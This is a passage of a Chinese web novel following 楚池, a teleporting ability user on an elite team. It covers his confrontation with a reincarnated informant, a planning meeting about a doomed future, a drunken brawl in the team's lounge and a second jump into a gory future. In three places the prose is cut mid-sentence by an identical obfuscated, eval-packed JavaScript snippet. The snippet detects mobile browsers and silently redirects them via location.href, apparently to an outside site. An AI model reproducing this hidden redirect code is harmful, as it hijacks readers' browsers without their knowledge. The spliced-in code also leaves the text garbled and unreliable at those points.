身后传来急促的脚步声,还没开车离开的周先生推开车门,快速朝他奔来。大厅里的人群也注意到异常,惊慌失措地围拢过来。 “楚哥,你、你怎么哭了?是有哪里不舒服吗?” “天啊,楚哥你快进来!那个谁,赶紧联系沈队!立刻,马上!” “吃点甜食吧楚哥!我刚从默客先生那顺过来的……” 但楚池的视线穿过所有人。 他缓缓抬手,机械地拭去泪水,而后重新握住行李箱握把。 下一秒,他消失在了原地,只留下那些茫然无措的人群。 总部大楼15层,会议室。 楚池推开会议室大门,行李箱被随手甩到墙角,发出一声闷响。 室内嘈杂的讨论声戛然而止。 宗保懒洋洋地敲着键盘,抬头瞥见他时叹了口气,“谁惹你生气了?算了,这个房间里的东西随你砸,反正沈队赔。哦还有,我打算点些甜品,你要吃些什么?” 他拿起手机打开外卖软件,但楚池径直从他身后掠过,连个眼神都没施舍。 宗保动作一顿,镜片后的眼睛微微睁大。 楚池继续向前。 正把玩着红色长发的夏禾玉挑起眉梢,窗边的盲眼青年微微侧首,胡天洋壮硕的身躯刚挡到半路就被一把掀开—— “楚池!停下!”沈无惑的厉喝在门口炸响。 他刚收到一楼消息就急匆匆赶来,但还是晚了一步。 窗边的三名重生者如惊弓之鸟般弹起,却见楚池闪电般扣住杜安歌的咽喉,将人狠狠掼在特制玻璃上,细微的蛛网状裂痕在杜安歌脑后绽开。 “你骗我。” 楚池的声音很冷。 他没发觉自己此刻的神态,说话的口吻,与几分钟前幻象里那个悬立于燃烧废墟之上的“自己”有多么相似。 “我知道你隐瞒了很多情报。现在,回答我……” “冒牌货,是什么意思?” 10. 在开会的楚 “回答我,冒牌货是什么意思?” 这句话落下的刹那,会议室内骤然陷入死寂,只有空调外机的轰鸣声被无限放大,在凝滞的空气中格外刺耳。 原先坐在圆桌边漫不经心把玩发丝的夏禾玉动作一顿,缓缓侧首,凝视着楚池的背影,狭长的凤眼危险地眯起,不悦道:“楚池,把手松开,会议室不是让你胡闹的地方。” 但楚池依旧没有理会她,手指一寸寸收紧。 在他手底下,杜安歌的脸色由涨红转为青紫,喉咙里挤出破碎的抽气声,他的眼里倒映出楚池冰冷而压抑着愤怒的面孔,艰难地挤出一句话来: “我……我不知道你在说什么……” ——【识谎】能力开启,判定这句话为谎言。 楚池的眼底无声弥漫出血色,但他没有任何反应,只是沉默地注视着杜安歌,身上的气息越发危险。 “啧。” 夏禾玉意识到不妙,猛得后推椅子,她起身的瞬间,会议室里的温度似乎又降了几分。 她对准楚池的方向径直走去。 阴影忽至。 窗边的裴青寂无声地横挡在她面前,他是一位盲人,坚硬的黑色眼罩遮挡了上半张脸,却仿佛仍有一股“视线”穿透了那层特殊的材质,直直刺向夏禾玉。 “别过去。”他的声音很轻,却不容置疑。 夏禾玉眯起眼,“我有时候真怀疑你到底能不能看清东西,转过头,往后看,你身后正有人在实施暴力。” 她冷笑道:“那小子手指再用力点,这个会议室就会多出一具尸体。” “楚池不杀人。”裴青寂的声音低沉,却又隐约透着一丝难以察觉的低落,“他只是有些控制不住情绪,现在不能刺激他。” 夏禾玉没有出声,只是无声翻了个白眼,随即摸上了背后那把两米长的大刀。 空气骤然紧绷。 就在剑拔弩张之际,胡天洋小山般的身躯硬生生挤进两人之间。两米多的个头像堵厚墙,彻底阻断了夏禾玉和裴青寂针锋相对的视线。 他苦着脸左右转身,蒲扇般的大手局促地摆动着:“行行好,你们两位别再打起来了……” 而另一边,沈无惑也赶到了楚池旁边,一把扣住楚池的手腕。 他的视线紧紧盯住楚池的眼睛,确认他的情绪状态,随即指节发力,硬生生将楚池扼住杜安歌的手指一根、一根掰开。 杜安歌从玻璃墙上滑下,捂着喉咙艰难地咳嗽,后脑勺有鲜血流下,对着匆忙过来的胡天洋摇摇头,“没事,没事……” 而全程,楚池没有看向沈无惑,也没有再去看杜安歌,只是低着头,沉默的,无声的,如果说先前是爆发的火山,那现在就如同冻结的冰川,让人无法看透。 “会议推迟。乐栖,帮他治疗一下。” 沈无惑的声音依旧冷静。 门外,不知何时出现在那里的林乐栖抱着水果篮,愣在原地,圆睁的眼睛里映出混乱的场面,听到沈无惑的话后才急匆匆跑向满头是血的杜安歌。 而沈无惑则拽着嘴角拉得低低的楚池往门外走去,途中经过角落里几乎贴墙而立、连呼吸都屏住的另外两名重生者,脚步稍稍一顿,含着歉意说道:“抱歉,吓到你们了,我会和他再谈谈。” 说完,他又环视一圈室内,夏禾玉和裴青寂已经重新散开,彼此离得远远的。胡天洋和林乐栖正在安慰那个被砸破脑袋的杜安歌。而宗保仍坐在椅子上,整个人几乎蜷进笔记本后面,椅背遮住了大半身形,只能从绷直的肩线看出他此刻的僵硬,敲键盘的指尖也悬在半空,迟迟未落。 沈无惑微不可闻地轻叹一声,而后重新扭过头,将楚池拉出了会议室,只留下一句话: “半小时后,继续开会。” …… “发生了什么?” “他们撒了谎。” 休息室的大门被沈无惑反手锁上,落锁的“咔嗒”声在空旷的房间里格外清晰。 他绕过沉默伫立的楚池,径直走向沙发,随手将白色制服丢在上面,转身时声音平静: “你知道我想要的不是这种回答。” 楚池仍固执地站在原地,不愿意多说一个字,眼底翻涌着晦暗的情绪——痛苦、挣扎、悲伤,像一层化不开的雾。 于是, 沈无惑不再多言,俯身从制服内抽出一根收缩金属棍。 漆黑的棍身泛着冷光,材质取自某种昆虫异种的外壳,坚硬无比。 他按下机关,短棍“咔”地一声伸展至半米长,尖端划过空气时带起细微的嗡鸣。 楚池注意到沈无惑的举动,皱了皱眉,“……我现在不想打架。” “我想,我现在很生气。” 沈无惑的声音压得很低。 话音未落,他已骤然逼近,长棍横扫而出——楚池瞬移闪避,落在几步之外,声音沙哑:“哥,别逼我,我现在真的不想和你打……” ‘啵。’ 一声轻响,如同气泡破裂。 下一秒,四壁骤然亮起密密麻麻的金色纹路,像一张突然收紧的网。 楚池瞳孔骤缩,本能抬手格挡—— “砰!” 金属棍重重砸在他手臂上,剧痛炸开的瞬间,沈无惑的侧踢已至。 楚池被这一脚直接踹飞,后腰狠狠撞上桌沿,闷哼一声。 他尝试瞬移,果然失败,身体沉重而无力。 疼痛终于撕开了他恍惚的状态,怒火在眼底燃起:“……三分钟,我只打三分钟。” 沈无惑甩了甩手腕,换手握棍,淡淡应道:“行。” 一阵噼里啪啦后。 楚池仰躺在地上,手臂横挡在眼前,胸膛剧烈起伏。 偶尔有一两声压抑的抽噎从臂弯下漏出,在安静的空气里异常清晰。 他挨了十五分钟的揍。 骗子。 沈无惑熟视无睹地跨过满地狼藉,从沙发残骸中找到自己的制服。纯白的布料此刻沾满灰尘,他随手拍打两下,却只让那些灰渍晕染得更开。 “所以,”他抖开衣服,又用力甩了两下,声音平静得可怕,“到底发生了什么?” 而这一次,原本像蚌壳一样嘴硬的楚池终于不情不愿地说了关键信息。 “我看到自己亲手拧断了你的喉咙……” 正在抖衣服上灰尘的沈无惑动作一顿,他看看毫发无伤的自己,又看看倒在地上灰头土脸正在哼唧着不肯起身的楚池,一时有些诧异,“你确定?” “……我讨厌你。” 楚池像条搁浅的鱼般在地上打了个滚,原本雪白的制服已经成了抹布。 他慢吞吞支起身子,眼眶有些泛红:“但现在想想……那个‘我’或许没有说错。” “如果真是你,在我掐着你升空时,早该直接封印我的异能,让我跟着你一块齐刷刷落地然后按着我揍了——就像现在这样。但他没有,他没有封印异能的能力。” 楚池做下判断,“那个人是伪装成你模样的冒牌货。” 这个结论一出,紧绷的情绪一缓,像是压在胸口的巨石轻了几分,连呼吸都变得顺畅起来。 但沈无惑没有做出任何回应,他只是穿上那条灰扑扑的制服,又提出了其他问题。 “你看到了未来?还有其他的线索吗?” “准确来说,是能短时间里前往未来,是今天刚刚觉醒的,然后我……”楚池把遇到的那个神秘组织首领和龙头窟的事说了,还有那些不知道是异种还是人类的奇怪人形生物。 “嗯……”沈无惑慢慢皱起了眉。 楚池一惊:“你是想到了什么吗?” 沈无惑的视线移开,慢吞吞道:“差不多吧,我需要推翻原来的龙头窟作战方案并且重新制定一份planA和planB,你让我的工作量又翻了一倍。” 楚池:“……” 他用手臂挡住眼睛,啪得一下又重新倒回了地上,像条死鱼一样不动弹了。 视线被阻隔的楚池无法看见沈无惑逐渐凝重的神色,只能听见那道脚步声由远及近,而后经过他的身旁。 接着,一如既往的、熟悉的沉稳嗓音在头顶响起: “起来,开会时间到了。” * 会议室里一片死寂。 氛围格外古怪。 报告员的声音微微发颤,额头渗出细密的汗珠,手中的会议报告纸页随着他的动作轻轻抖动。 圆桌周围,所有人的视线都聚焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496039|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那两个穿着灰扑扑制服的男人身上——楚池与沈无惑分别占据圆桌两端,一个面朝北,一个面朝南,连视线都没对上一次。 “……综上所述,这就是重生者与未来事件的关联性。”报告员艰难地咽了咽口水,“接下来,请允许我介绍这三位特殊人员……” “杜安歌,地面幸存者,常年在各大小型据点间游荡。在73年首次见到灭世者并成功逃脱,75年至78年间曾为灭世者效力,后叛逃,最终死于80年灭世者与反抗者组织的战争。” 楚池猛地转头,眼睛睁大。什么叫曾在灭世者手底下干活?!这家伙到底隐瞒……等等,难道是只对他隐瞒吗?! 杜安歌不安地搓着手指:“抱歉,不是我故意的,事实上我只是有些低估了……嗯,将全国最聪明的大脑都聚集在一起的团队力量……我原本不太想说这种事,毕竟那段时间我也有点疯……” “庄晴。”报告员念到第二位重生者。 那位眼镜女生有气无力地举手示意。 报告员继续说:“一家无名基地的实验研究人员,专攻异种进化与人类畸变课题。其老师管理着一个非常重要的项目,据她所说,曾经在基地里见过沈队以及其他零队成员。但同样,她对于73年以前的事也记不太清。最终死于80年灭世者与反抗者组织所掀起的战争中。” 楚池又一次睁大了眼睛。 庄晴推了推眼镜,疲惫道:“实际上,我在基地里只见过零队成员一两次,我甚至怀疑是不是错觉,建议你们不要把这条当真实线索……” 报告员无视这句话,继续念道:“第三位,孙莫。来自高空基地‘方舟’的A级公民。与另外两位重生者相同,同样死于80年的战争中。” 抓着小辫的男生不好意思地说:“我只是个普通人,所以知道的消息比他们俩个少很多。” “……此外,灭世者会黑化的原因,目前有以下几种推测,包括异能类的心灵操控、认知扭曲诱导;重要人物的死亡导致的精神崩溃、心理创伤;环境压迫等。此外,还有其他人或者生物模仿其进行犯罪的可能性。根据以上推测,接下来将进行针对性的解决方案……” 夏禾玉举手打断:“所以灭世者灭世者什么的,怎么不说名字?提前找到他,杀死他或者关押他,不就好了?怎么弄得那么麻烦。” 楚池刚张开嘴,旁边的宗保瞬间抬手把一颗剥好的橘子塞他嘴里。 另一边坐着的裴青寂意识到什么,稍稍侧头。 报告者在沈无惑的示意下,继续无视夏禾玉的发言,继续念道:“目前全球擅长心灵操控的异能者有……” 会议持续了一上午,最初的专注到逐渐变得疲惫与昏昏欲睡。 楚池感觉头晕目眩,大脑嗡嗡发鸣。 十二点准,报告员终于松了口气,结束解决方案,进入最后的内容:“那么现在进行最后的反制措施阶段……” “可以了,到这里就行,后面的不用念了。”沈无惑开口道,将会议主导权自然接过。 “最终行动方案需要调整。原本我们只能被动依赖重生者的情报,通过他们提供的线索在本时间点上进行试探性行动,但问题是,他们同样对很多关键信息毫无印象,所以会浪费很多的时间与人力。但现在,我们掌握了主动权。” “楚池。” 被叫名字的楚池猛得一激灵,“啊?什么?” “你新觉醒的时空穿梭能力,将成为关键。今天的首次探索就非常成功,给我们带来了意想不到的重要情报。所以,接下来也是如此,结合三位重生者的情报,由你针对性地前往未来调查,锁定关键节点并确认转折事件后,返回修正。” 楚池茫然地指了指自己,“……啊?我吗?我用那种脸去……咦等等,我好像可以改变容貌哎……” 沈无惑示意他安静一些,表情依旧冷静而理智,“此外,首次修正行动估计会在月底进行。” 会议室骤然安静。 楚池原本有些轻松的情绪瞬间消失,瞳孔微微收缩,某个可怕的猜想浮上心头。 “龙头窟。”沈无惑的声音平静得可怕,“我有大概率死在那里。而我的死亡……” “有可能就是未来崩坏的第一个转折点。” 11. 在过日常的楚 「冷静。」 「这只是猜测。大胆假设,谨慎验证——不过是必经的过程。」 「楚池,你是关键。」 「记住,穿越后不要沉溺于未来的一切景象。那些死亡与绝望,最后都会成为我们改写命运的线索。」 「我希望你能以绝对的理智审视一切,哪怕目睹我们的死亡。」 「但你必须时刻清醒——」 「那只是尚未发生的未来。」 「此刻的我们,」 「依然活着。」 …… …… “道理我都懂……但好歹给我点缓冲时间啊……” 休息室内一片漆黑,只有电视屏幕的冷光映在楚池脸上。 现在是凌晨一点,窗帘紧闭,将夜色彻底隔绝在外。 白天的会议最终敲定了方案,根据三位重生者的情报,由他穿越到未来进行针对性调查,再将关键信息带回现在,联合所有力量实施最后的修正计划。 计划严谨、清醒、冰冷,带着沈无惑一贯的缜密风格。 可楚池想不通—— 那个人是怎么在短短几小时内,就冷静地推演出自己的死亡,甚至以此为前提制定了后备方案? ……更可怕的是,似乎连零队其他成员的牺牲,也被纳入了考量。 ‘我会因为他们的死而毁灭世界吗?’ 楚池扪心自问。 ——不会。 再痛苦也不会。 这是零队用十年、二十年鲜血与努力换来的和平,他怎么可能亲手摧毁? 所以……一定是多重因素叠加的结果。 空调的嗡鸣混着综艺节目的笑声,电视里嘉宾们夸张的表演在黑暗中闪烁。 楚池蜷缩在沙发里,抱着抱枕,睁大的眼睛映着变幻的荧幕光,像只僵硬的猫。 他的思维正在割裂。 一半仍在固执地否认“零队全灭”的可能性; 另一半却已开始以这个假设为前提,冷静地推演着最坏的结局。 就在这时,休息室的门被轻轻推开。 熟悉的脚步声靠近,沙发另一侧微微下陷。 夏禾玉湿漉漉的红发还滴着水,洗发水的淡香混着酒气扑面而来。 她将半升装的玻璃杯往楚池面前一递,清澈的酒液在电视荧光下泛着缤纷的光泽,随口道:“喝一杯?” 楚池微微睁大眼,摇头道:“沈队不让我喝酒啊。” 夏禾玉强势地把玻璃杯塞进楚池怀里,然后她自己也拿出一杯,仰头灌了一大口,说:“老家酿的,度数又不高。沈无惑那家伙是老年人作息,现在早就睡了,或者还在屋里办公,随他吧。反正我来的时候把他的房间门锁给融了强行固定,他短时间里出不来。” 她说到这里又高声喊了一句:“宗保,沈无惑那家伙出房间了跟我们说一声。” 桌上的手机屏幕亮起。 【默客:ok】 于是楚池小心翼翼地抿了一口,瞬间被辣得眼前发黑。烈酒像团火从喉咙烧到胃里,激得他耳膜嗡嗡作响。 这就是……老家酿的果汁、啊不是,酒吗? “白天的事,对不住。”夏禾玉的酒杯“铛”地撞上他的,空气里响起玻璃震颤的清脆声,她的嗓音沙哑得不像话,“我该先问清楚的。” “……你白天说什么了?”楚池慢半拍地转头,发现她已经灌下去大半杯。 荧幕的冷光在夏禾玉脸上忽明忽暗,映出一双复杂的眼睛,但其中的情绪转瞬即逝,恢复成以往的模样。 “所以你果然完全屏蔽了外界吧。”夏禾玉轻啧:“不过也正常,换作是我,被人指控未来犯事,那人还隐瞒关键情报,我大概大概会先折断他四肢,再慢慢撬开他的嘴。” 她仰头灌了口酒,喉间的烧灼感让声音愈发沙哑: “愤怒,杀意,极强的行动力,以及易被情绪支配的冲动。我们有着相似的共通性,所以很多时候,我并不是不想去相信你,我只是透过你,看到了我自己,而我……从来不相信自己的自控能力。” 楚池碰了她的酒杯,“好了,我知道了,喝一杯。” 夏禾玉深深呼吸,将长发全部捋到脑后,手里的酒液已到杯底,说不清此刻是清醒还是混乱,“你知道的,我以前爱上过一个混蛋,人渣,骗子,不折不扣彻头彻尾的恶棍,还是联盟的高级间谍……总之,那家伙隐瞒了身份,我爱上了他。身份暴露那晚,他故意激怒我——只是一瞬间,只是短短一瞬间,我甚至没反应过来……他就死了。我亲手杀了他。就是那么简单。但我本来只想吓唬他,我只是想威胁他老实一点,让他快些说出实话,问他到底为什么来骗我,问他到底有没有曾经爱过我……但是没机会了,他死了,我杀了他,一切都发生的太快了,我根本没来得及反应过来。” “于是在那一瞬间,我突然意识到一件事。” “在我失去自控时杀死一个恶棍,我不会为此感到愧疚。但如果,失手杀死的……是一个无辜的普通人呢?” 夏禾玉喝完最后一口酒,从脚边拎起一桶酒,又给自己倒了一杯。 “他们都太脆弱了。”她低着头说:“对于那些没有异能力的普通人、甚至是大多数异能者而言,我们的力量太过强大,如同怪物。所以,当我们试图以杀戮手段逼迫他人时,必须确认是在自己情绪冷静正常的情况下进行。” “楚池,我们足够强大,准确来说,我们是太过强大。我们可以保护他们,我们零队就是为守护与拯救而生。” “所以,你的[零死亡]纪录,绝对不能被打破。” “你还有机会,不要变成像我这样的人。” “我相信你不会变成那个毁灭世界的暴君。” 楚池机械地灌着那杯号称“老家自己酿”的烈酒,意识逐渐被酒精泡得发胀。耳畔的声音像是隔了一层玻璃,模糊不清地嗡嗡作响。他坐在沙发里,感觉自己像块被海水反复冲刷的礁石。 而石头,不会说话也不会乱动。 突然,一道娇小的身影从沙发底下钻了出来,穿着卡通猫猫睡衣的林乐栖像只灵活的小猫般挤进楚池和夏禾玉之间,张开双臂将两人的脑袋轻轻揽入怀中,用温暖柔软的嗓音轻声安慰道: “没关系,真的没关系的,我们都在这儿呢,不要难过也不要伤心。小白的未来一定可以改变,我们会一起努力的,我们的未来一定会充满光明和希望。玉玉已经做得很棒了,我们都走出了过去的阴影,正在创造崭新的未来,每个人都在努力变得更好。所以请放心大胆地往前走,我会一直看着你们的,无惑也会牢牢牵着我们的手,虽然小青和小保总是安安静静地落在后面,但别担心,无惑最擅长把他们拽回队伍里了,就算真的走散了还有天洋在最后面守着大家呢。零队永远不会落下任何一个人,因为我们深爱着彼此,信任着彼此,不是吗?” 楚池被酒精泡发的脑子根本处理不了这么长的安慰,直接稀里哗啦哭成一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496040|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 旁边的夏禾玉却突然炸了,“放屁!裴青寂那混蛋就讨厌我!!!” 门口正好出现裴青寂的身影,他听到夏禾玉的声音瞬间停住,后面的胡天洋疑惑地把他推进室内,“怎么了?” 刚被胡天洋推进门的裴青寂还没站稳,就被一道暗红身影逼到墙角。 夏禾玉指尖狠狠戳着他胸口:“说!你是不是讨厌我?” 裴青寂往旁边挪去,干巴巴道:“没有……” “放屁!”夏禾玉的吼声震得胡天洋手忙脚乱比划噤声手势,“你敢说这是实话吗?你看看你白天的模样,完全站在楚池那家伙旁边,你是跟屁虫吗你?还有宗保那家伙,别以为你们是同期一起从训练营里出来的就敢孤立我们!我受够了!我要听实话!给我喝!” “等等,我不会喝酒……” 她直接掐着躲不开的裴青寂的嘴巴,咕噜咕噜往里灌酒。 下一秒,裴青寂直挺挺原地倒下。 胡天洋目瞪口呆,完全还没反应过来,他的视线在耍酒疯的夏禾玉、挺尸般的裴青寂和沙发上抱作一团互相痛哭的楚池林乐栖之间来回切换,喉结艰难地滚动了一下:“要完……” 下一秒,倒地不起的裴青寂突然如阴影般无声站起,两柄银白色手/枪不知何时已抵在他掌心。子/弹暴雨般倾泻而出,在雪白墙面上炸开朵朵弹孔。 完全没走远的夏禾玉反射性地往身后一摸,她没摸到那把长刀,于是从吧台上抄起一台咖啡机,朝着四处哒哒哒开枪的裴青寂就冲过去,“这里是休息室!裴青寂你发什么疯?!” 胡天洋的太阳穴突突直跳。他绝望地数着眼前发酒疯的人数,突然后悔喊裴青寂过来安慰楚池了。这里接下来,绝对会变成混战场地,然后被沈队抓包。 他想回去睡觉了,真的。 此时,沙发上的楚池还在抱着林乐栖抽噎。 突然,头顶飞过一颗子/弹。 他本能地警觉起来,但被酒精浸泡的神经和模糊的视线根本无法分辨眼前的混乱场面,“有敌袭!乐乐姐,快躲好!” “知道啦~”林乐栖动作娴熟地钻进了沙发底下。 几乎是同一时刻,她头顶的沙发突然腾空而起。楚池居然把这件家具当成了武器,抡圆了在房间里横扫。 林乐栖无奈地叉腰摇头,余光瞥见桌上手机屏幕不断闪烁: 【默客:?什么鬼动静?(猫猫困惑探头.jpg)】 【默客:噪音超标了啊各位,隔那么远我都听得见】 【默客:最新情报:沈队已醒,发现门锁故障】 【默客:他拒绝了维修建议】 【默客:更正:他直接对门锁开了两枪】 【默客:全体注意:BOSS即将抵达战场,祝各位好运。本人已预订酒店,勿念,明天见。(荡着小船离开.jpg)】 最后一条消息显示发送于三分钟前。 林乐栖刚抬起头,休息室的门把手就转动了起来。 电光火石间,那张被当作武器的沙发呼啸着飞向门口,不偏不倚地横向卡死在门框与墙壁之间,将入口堵得严严实实。 门外陷入死寂。 三秒后—— “砰!” 整张沙发连带着门板被一脚踹飞,重重砸在对面的墙上。 沈无惑站在门口,手里还提着冒着硝烟的枪,他看着混乱狼藉的休息室,眼神冷得都能结冰。 “你们,在做什么?” 12. 再次穿越的楚 “还剩多少?” “10圈。” “快了快了。” “我看到有早餐摊出来了,你们有谁想吃早饭吗?” “我想吃馄饨。” “好想死……” “下次应该直接把沈队迷晕的,他抗药性不强。” “天洋会告密。” “不,我不会……阿池,你刚刚是不是瞬移溜出去了一段时间?” “小白!不能作弊——” “我没有!” …… 楚池话音刚落,一块滑板凭空出现在他手中。他手腕一翻,滑板稳稳落地,整个人轻巧地跳上去,“咻”地滑到了队伍最前面。 现在是清晨六点多,天空已经完全亮了,公园里空气清新,鸟雀叽叽喳喳的声音格外悦耳。 夏禾玉一身运动装扮,红发高高扎起,脖子上挂着哨子,见状挑起眉毛:“作弊?” “这叫合理利用工具,”楚池单手插兜,回头露出灿烂笑容,“沈队只说跑50圈,可没规定方式。” ——昨晚的醉酒闹剧显然触怒了沈无惑。他们被集体“流放”到旁边的公园,不跑完50圈不准回总部,就连躲在酒店的宗保也被揪了回来。 此时,队伍末尾,宗保整张脸贴在扭扭车方向盘上,已经半昏睡状态。胡天洋腰上拴着绳子,拖着他的小车前进。 裴青寂的眼睛蒙着白布,身上背着林乐栖——她左手可乐右手保温杯,自己喝饮料,给裴青寂喂热水。 “小白~滑板借我玩玩!”林乐栖晃着腿喊道。 “可以,正好我想坐小车。”楚池减速退到队尾。 夏禾玉翻了个白眼,吹起口哨,调整了跑步速度,“都跟上!后面的掉队了自己跟沈无惑说去!” 楚池朝她比了个ok手势。 宗保缓缓抬头,看向楚池,脸上还印着方向盘的纹路:“……我的车被占了,我怎么办?” 他幽幽补充,“我可不想被人背。” 裴青寂侧过脸“看”他:“我可以拖着你。” 宗保:“?” 楚池瞬移消失又出现,拎着个平板车:“这个怎么样?你甚至可以躺在上面。” 宗保:“……我谢谢你。” 胡天洋哈哈大笑:“放心,这个点没人,不丢脸!” 话音未落,路对面突然冒出两个晨跑的路人。 那两人齐刷刷刹住脚步,瞪大眼睛看着这奇葩的队伍,然后迅速掏出了手机拍照。 宗保:“……” 夏禾玉无奈放缓脚步:“你好歹跑半圈?整天就待在你那黑漆漆的房间里看电脑,身体都虚了。” 宗保重新把脸埋回方向盘:“谢谢,但就让我继续虚着吧。” 另一边,楚池把滑板让给林乐栖,自己拎着平板车凑近裴青寂,眼神暗示。 裴青寂:“不。” 他“望”向扭扭车上的宗保和当“纤夫”的胡天洋,再次坚定拒绝:“太蠢。” 三分钟后—— 领跑的夏禾玉一回头,只见三个大男人挤在平板车上,被胡天洋拖着走。 夏禾玉:“……” 她瞪向胡天洋:“别惯着他们!放手!” “没事啦~”胡天洋挠头,“轻得很。” 作为力量系异能者,这点重量不值一提。 很快,楚池挤得冒汗,瞬移到五百米外的饮料摊:“你们要喝什么?” 他朝队伍方向喊道。 刹那间,林乐栖一个急刹跳下滑板,抄起滑板扭头就跑。 夏禾玉更是直接调转方向,红发在空中划出一个漂亮的弧线。 还有胡天洋,他一个九十度急转,平板车上的两人直接被惯性甩飞出去。 楚池拿着冰矿泉水,满脸茫然:“?” 下一秒,肩膀突然一沉,一只手悄无声息地搭了过来。 寒意顺着脊椎窜上来,楚池僵硬转头,在看清来者的瞬间,语速极快地说:“我发誓!我绝对没用滑板作弊!没瞬移去买零食!更没搞什么平板车……” 他痛苦地闭上眼睛。 沈无惑平静打断:“事后补罚。现在,有更重要的事。” 哦,只要不是来骂他就行。 楚池:“啥事?” 沈无惑示意他跟上,前进的方向是去总部的,“你先前说穿越是身穿,那你前往了未来,未来世界的那个[你]呢?” “嗯……”楚池短暂陷入沉思,“……好像,就在我身上?类似双重叠加的状态,只是由我主导,他陷入沉睡而已。” “下次穿越时间?” “大概……半小时后?” 沈无惑的表情罕见地凝固了。 楚池感到后背一阵发凉。 “等等!沈队!哥!我真没想起来告诉你——你也没问啊!嗷别打!” …… 总部大楼,25层,小型办公室里。 “总之,这些坐标记好。全都是那三位重生者所给出的未来反抗组织的据点。你需要再次找到你第一次穿越时遇到的那个神秘组织首领。” 沈无惑从桌面找出一张地图,上面有很多手写的字迹,递给楚池,说道:“根据杜安歌提供的信息,他叫沈源,是一位从75年开始崭露头角的反抗者。” 楚池正在埋头苦记,突然听见沈无惑声音一沉: “找到他后,问一个问题——[既然你的记忆始于73年,那么73到75年间,你在做什么?]” 楚池不知道为什么沈无惑对这个问题感兴趣,但很快他意识到一件事,“你怀疑他是未来的你?但你说大概率会死于龙头窟事件。” “所以只是怀疑,别忘了还有那些模仿者。但假设他拥有我的思维模式,在确认你是过去的楚池后,最合理的行动方案应该是杀死过去的你,抹消那个被毁灭的未来。” 楚池的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496041|170193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸骤然停滞。 “往最糟糕的方向去思考,你要做好与未来的零队为敌的准备,不要再像第一次那样傻乎乎地凑过去,明白吗?” 楚池张了张嘴,似乎还想说什么。 但很快,沈无惑将一本小册子拍在他手里,“里面记录了一些你在未来可能遭遇的人物和事件,对应的应对方案也列好了。全部背下来……” 他的眉头几不可察地皱了一下,“我原以为还有很长时间可以准备。” “你不是能直接‘看’到吗?”楚池下意识反问。 这几乎成了条件反射——每次异能觉醒,还没等他摸清门道,只要在沈无惑眼前晃一圈,对方就能报出一串精确到小数点后三位的参数,比研究所的检测仪还离谱。这个男人的异能除“封印”外,还包括“探查”与“洞悉”,堪称行走的异能百科全书。 此刻,沈无惑却说出了让楚池愣住的话:“这次看不见。如果不是你亲口承认,我甚至察觉不到这个能力的存在。” 但很快,沈无惑又补充道:“当然,毕竟涉及时间这种能力太过特殊,我无法洞悉也正常。半小时后我会在你发动能力时再看一遍。现在,把这本册子里的东西全背下来。” 楚池的注意力瞬间被转移,“但是既然我是身穿,这个册子也能带过去,所以也没必要全部记下来吧?” 沈无惑点头:“所以每遇到一个人或一件事,你就要低头翻书吗?” 楚池闭上嘴巴,低头开始背书。 翻页声在寂静中格外清晰。 很快,半小时即将过去。 楚池若有所感,抬头对上沈无惑的视线。 在对方颔首的瞬间—— 他发动了能力。 下一秒,整个世界突然卡帧。 窗外的飞鸟悬停半空,树叶沙沙的声音停滞,屋内沈无惑点头的的动作定格成雕塑,唯有那双仿佛洞悉一切的眼睛,缓缓流下两行血色的眼泪。 而此刻的室内,已经没有了楚池的身影。 * 楚池感到灵魂在下沉,身体的控制权逐渐回归。 他猛然睁眼—— 映入眼帘的是一张巨大的圆桌,四具巨型怪物尸体被金色长枪贯穿,以扭曲的姿态钉死在桌面上。鲜血顺着桌沿滴落,在寂静中发出“嗒、嗒”的声响。 他是唯一坐在椅子上的人。 穹顶投下的光束将他笼罩,四周的阴影中堆满了异种的残肢——断裂的翅膀、破碎的眼球、还在抽搐的触须…… 空气里满是血腥味,一片死寂。 在他愣神之际,“当啷”一声,桌面边缘的金属球滚落在地,溅起满地血水。 楚池下意识弯腰去捡,却在血泊中发现一条横幅,上面写着一行字: ——【异种统治联盟】 其中,“异种统治”四个大字被某种利器粗暴地划得支离破碎,只剩下残缺的笔画在血泊中若隐若现。 13. 观察者 楚池从未踏足过这种诡异的地方。 他无意识地攥紧那枚金属球,行走在粘稠的血泊中,发出令人心悸的“嗒嗒”回声。 四具被金色长枪贯穿的怪物尸体无声地被贯穿在圆桌上,恍若被摆上餐桌的“食物”。 最上方是鹰首女身的怪物,金属质感的羽翼间挂满碎裂的骨饰,锋利的喙还保持着张开的姿态; 